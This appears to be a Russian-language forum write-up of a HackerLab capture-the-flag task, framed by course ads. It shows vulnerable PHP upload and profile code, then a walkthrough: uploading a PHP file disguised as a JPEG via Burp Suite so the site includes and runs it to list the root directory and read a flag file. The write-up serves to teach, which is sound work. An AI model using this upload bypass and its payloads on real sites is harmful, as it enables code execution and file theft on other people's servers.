• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Hackerlab Easy Upload WriteUp

kovalyoff

One Level
29.08.2023
3
14
Интересная задачка на HackerLab.

1749667777819.webp

1749667898936.webp


Первое, что мы делаем - идем смотреть исходный код. В ходе изучения, нас привлекут файлы upload.php и userprofile.php в папке classes.

PHP:
<?php
session_start();
require_once 'config.php';
require_once 'classes/UserProfile.php';

if (!isset($_SESSION['user_id'])) {
    die("Unauthorized");
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['avatar'])) {
    $file = $_FILES['avatar'];
    $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
    
    if (!in_array($file['type'], $allowed_types)) {
        die("Invalid file type");
    }
        $extension = '';
    switch($file['type']) {
        case 'image/jpeg':
            $extension = '.jpg';
            break;
        case 'image/png':
            $extension = '.png';
            break;
        case 'image/gif':
            $extension = '.gif';
            break;
        default:
            $extension = '.jpg';
            break;
    }
    
    $filename = uniqid() . $extension;
    $upload_path = "uploads/" . $filename;
    
    if (move_uploaded_file($file['tmp_name'], $upload_path)) {
        $_SESSION['avatar'] = $filename;
        if (isset($_SESSION['user_profile'])) {
            $profile = unserialize(serialize($_SESSION['user_profile'])); 
            $profile->avatar = $filename;
            $_SESSION['user_profile'] = $profile;
        }
        
        header("Location: index.php");
        exit();
        }
}

header("Location: index.php");
?>


PHP:
<?php
class UserProfile {
    public $username;
    public $avatar;
    public $theme;

    public function __construct($username) {
        $this->username = $username;
        $this->avatar = 'default.jpg';
        $this->theme = 'light';
    }

  public function loadAvatar() {
    $avatarPath = "uploads/" . $this->avatar;
    
    if (file_exists($avatarPath)) {
        if (preg_match('/^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif)$/i', $this->avatar)) {
            ob_start();
            include($avatarPath);
            $output = ob_get_clean();
            return null;
        }
    }
    $this->avatar = 'default.jpg';
    return null;
}
}
?>

Видим, что upload.php позволяет нам загружать аватар пользователя, а userprofile.php содержит класс профиля и метод loadAvatar().

Что мы будем делать? А мы будем загружать свою "аватарку". Но перед этим создадим аккаунт и зайдем в него.
1749668143583.webp


Кстати, нам понадобится утилита Burp Suite. Версия Community Edition бесплатная, ее можно скачать .

Итак, приступаем к созданию "аватарки". Это будет php код следующего содержания:
PHP:
<?php $GLOBALS['profile']->theme = print_r(scandir('/'), true); ?>
scandir('/') - наш главный инструмент. Он просканирует содержимое главной директории и выведет все файлы и папки, которые там есть.
Сохраним этот код в какую-нибудь папку и назовем, скажем, avatarka.php. Заходим в Burp Suite -> вкладка Proxy -> вкладка Intercept. Включаем Intercept и загружаем нашу "аватарку". Страница уходит в загрузку, а в Burp Suite мы видим следующее:
1749669132131.webp


Нас интересуют строки 17 и 18. filename="avatarka.php" мы меняем на filename="avatarka.jpg", а в Content-Type меняем значение на image/jpeg. Делаем мы это для того, чтобы сервер принял наш файл, ведь, очевидно, файл php туда по умолчанию загрузить нельзя. В Burp Suite нажимаем Forward. Наша аватарка ломается.

1749669390097.webp


Но это ни в коем случае не плохо! Нам нужно посмотреть исходный код страницы. Там мы увидим следующее:

1749669439092.webp



Видим, что там затесался наш fl4g.txt. Осталось его вытащить. Меняем avatarka.php следующим образом:

PHP:
<?php $GLOBALS['profile']->theme = file_get_contents('/fl4g.txt'); ?>

И, повторяя те же шаги с Burp Suite, выводим наш флаг в исходный код.



Если кто-то захочет изучить тему подробнее, такая уязвимость называется local file inclusion. Она позволяет выполнять локальные файлы на сервере.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab